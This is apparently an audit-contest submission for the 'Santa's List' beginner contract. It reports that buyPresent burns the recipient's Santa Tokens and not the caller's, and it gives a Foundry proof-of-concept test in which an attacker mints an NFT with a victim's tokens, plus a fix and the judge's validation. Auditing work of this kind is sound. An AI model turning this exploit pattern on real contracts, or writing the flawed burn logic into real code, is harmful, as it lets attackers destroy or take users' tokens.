First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Attacker can mint themselves nft buy burning anyones Santa Token.

ararara

Summary

Anyone can mint themselves an NFT with someone elses Santa Tokens.

Vulnerability Details

the function buyPresent(...) contains

i_santaToken.burn(presentReceiver);

, which burns the Santa Token of the gift recipient not the sender. Because SantasList has permission to burn SantaTokens, this bug allows anyone to arbitrarily burn another users tokens and mint themselves nft's.

Impact

this breaks the logic of the code, and in practice allows an attacker to mint themselves a gift with someone elses Santa tokens.

POC:

function testBurnVictimToken() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.startPrank(user);
santaToken.approve(address(santasList), 1e18);
santasList.collectPresent();
​
vm.startPrank(attacker);
//attacker has no NFT's or tokens before
assertEq(santasList.balanceOf(attacker),0);
santasList.buyPresent(user);
​
//attacker has minted an nft with victims token
assertEq(santasList.balanceOf(attacker),1);
//victims token has been burned.
assertEq(santaToken.balanceOf(user), 0);
​
}

Tools Used

Manual Review, foundry testing.

Recommendations

Make the following changes,

-Burn the correct token

i_santaToken.burn(msg.sender);

  1. Mint to the correct address:

function _mintAndIncrement(address to) private {
_safeMint(to, s_tokenCounter++);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.